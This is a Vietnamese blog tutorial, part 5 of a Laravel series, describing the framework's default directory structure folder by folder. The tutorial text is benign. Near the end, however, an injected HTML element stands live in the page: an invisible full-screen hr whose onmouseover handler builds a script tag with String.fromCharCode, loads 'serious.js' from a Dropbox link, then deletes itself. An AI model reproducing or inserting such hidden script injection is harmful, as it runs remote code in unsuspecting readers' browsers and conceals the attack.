Tìm hiểu Laravel (P5) - Application Structure

Indexs

  • Ở các bài trước mình đã giới liệu lần lượt đến các bạn từ Cài đặt Laravel, form đăng nhập hệ thống, send mail signup và trang Error page, nhưng lại chưa đề cập đến một vấn đề rất quan trong trước khi làm quen với một Framework mới, đó là cấu trúc của framework, nên bài này ta sẽ cùng nhau tìm về cấu trúc của laravel trước khi bắt đầu một dự án.

1. Giới thiệu

  • Cấu trúc thư mục mặc định của Framework Laravel được thiết kế phù hợp cho cả ứng dụng lớn và nhỏ, Tuy nhiên chúng ta vẫn có thể tùy chỉnh và tổ chức theo mong muốn riêng, thêm bớt sao cho phù hợp với dự án của bạn, miễn sao Composer vẫn có thể tự động load các class của bạn. Nhưng theo cá nhân mình thì ta nên hạn chế việc custom cấu trúc mặc định của Laravel nhất có thể, vì với mỗi một Framework đều có một cấu trúc thu mục chuẩn riêng, với việc sắp xếp phân chia thư mục một cách tối ưu theo từng chức năng cụ thể, giúp cho các developer dễ dàng đọc code và hiểu code của nhau thuận tiện cho việc maintan sau này.

2. Cấu trúc thư mục mặc định

  • Lưu ý: Tại thời điểm viết bài mình đang sử dụng document của phiên bản laravel 5.2 nên cấu trúc thư mục sẽ như bên dưới, ở phiên bản khác có thể sẽ có một vài khác biệt nhỏ.
app
bootstrap
config
database
public
resources
storage
tests
vendor
.env
.env.example
.gitattributes
.gitignore
artisan
composer.json
composer.lock
gulpfile.js
package.json
phpunit.xml
server.php
readme.md
  • Folder app: đây là nơi mà ta phải làm việc với nó nhiều nhất, nó chứa core code ứng dụng của chúng ta, tại đây chúng ta có thể triển khai các mô hình để điều khiển ứng dụng (vd: MVC). Bên trong nó có các folder con với tên viết hoa chữ cái đầu tiên (ngược với folder app - viết thường) như sau:
    • Foler app/Http: Các Controtrllers, routes đều được đặt trong thư mục này. Ngoài ra còn có 2 thư mục khác khá quan trọng là Requests (dùng để xử lý các request của ứng dụng vd: get, post, put…) và Middleware (tạm thời hiểu nó như firewall, sẽ được nói rỏ hơn ở các bài sau).
    • Folder app/Events: thư mục chứa class event, events có thể được sử dụng để thông báo đến các thành phần khác trong ứng dụng về một hành động đã xảy ra, events rất linh hoạt và tách biệt.
    • Folder app/Exceptions: thư mục chứa các class ngoại lệ xử lý các trường hợp ngoại lệ của ứng dụng.
    • Folder app/Jobs: thư mục chức class Job, là nơi xử lý các kỹ thuật liên quan đến hàng đợi (queue) và đồng bộ (synchronously) trong ứng dụng của bạn.
    • Folder app/Listeners: Chứa cá class handler xử lý các Event trả lại kết quả.
    • Folder app/Providers: là nơi chứa các class đăng ký (register) các ServiceProvider.
  • Folder bootstrap: chứa file app.php, autoload.php là 2 file thiết lập cơ bản để bắt đầu chạy ứng dụng và file cấu hình nạp class tự động. Ngoài ra trong này còn có thư mục cache (dùng để chứa các file cache tối ưu hóa hiệu suất chạy của ứng dụng).
  • Folder config: là nơi chứa các file thiết lập cấu hình của ứng dụng như cấu hình kết nối cơ sỡ dữ liệu, cấu hình cấu hình session, mail, server cache, view.. Nếu để ý bạn sẽ thấy ở những phần trước ta cũng đã động đến file database.php và mail.php trong Folder này rồi.
  • Folder database: Bên trong chứa các folder factories, migration và seed cơ sỡ dữ liệu của ứng dụng. Factories là nơi tạo ra các dữ liệu mẫu, còn Migration chứa các file migration được tạo bằng tool Artisan (Tool này đã được Laravel cung cấp sẵn, chẳng hạn ta chạy câu lệnh php artisan make: migration create_users_table thì file migration sẽ được tạo ra). Seed chứa những file PHP cho phép Artisan đưa vào bảng cơ sở dữ liệu với dữ liệu ta mong muốn.
  • Folder public: là thư mục gốc chứa file index.php Laravel dùng để chạy ứng dụng, đây cũng là nơi chứa các tài nguyên của ứng dụng như js, css, image…
  • Folder resources: nơi chứa các template views, asset và các file ngôn ngữ.
  • Folder storage: là thư mục cần được set quyền ghi thì ứng dụng mới chạy được (tham khảo Cài đặt (P1)), dùng để lưu trữ các tập tin cache, session, logs… được tạo ra trong quá trình ứng dụng chạy.
  • Folder tests: chứa các file testcase của ứng dụng.
  • Folder vendor: thư mục chứa core của Laravel, ta không nên động chạm hay sửa chưa gì trong thư mục này.
  • File .env: Đây là một tập tin ẩn trong thư mục gốc của ứng dụng. Tập tin này có chứa các định nghĩa cơ bản về các thông số của ứng dụng như tên và mật khẩu cơ sở dữ liệu, dữ liệu cấu hình email, cấu hình server cache…
  • File artisan: tool mà Laravel cung cấp sẵn trong project dùng để phục vụ cho việc tương tác với migration (database), tạo key cho ứng dụng…
  • File composer.json: là tập tin chứa các thiết lập về việc cài đặt, cập nhật ứng dụng bằng lệnh composer.

3. Kết luận

  • Đối với một Framwork việc tổ chức cấu trúc thư mục sao cho hợp lý, tối ưu nhất, thuận tiện cho lập trình viên nhất là rất quan trọng, Laravel cũng vậy, nếu bạn đã sử dụng qua Laravel 4.x thì sẽ thấy rõ điều này, ở phiên bản 5.x cấu trúc đã được thay đổi khá nhiều sao cho hiểu quả hơn. Các lập trình viên cần nắm rõ cấu trúc, cách tổ chức sắp xếp thư mục để thuận tiện hơn trong việc đọc code.
  • Hiện nay Laravel đã release phiên bản mới Laravel 5.3 và cũng có một chút thay đổi cấu trúc nhỏ trong trong thư mục app. Vì thế trong các bài viết tới thay vì sử dụng document phiên bản 5.2, mình sẽ chuyển qua document phiên bản Laravel 5.3
  • Để hiểu rõ hơn bạn có thể tham khảo documment ở trang chủ: Application Structure
<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">

All Rights Reserved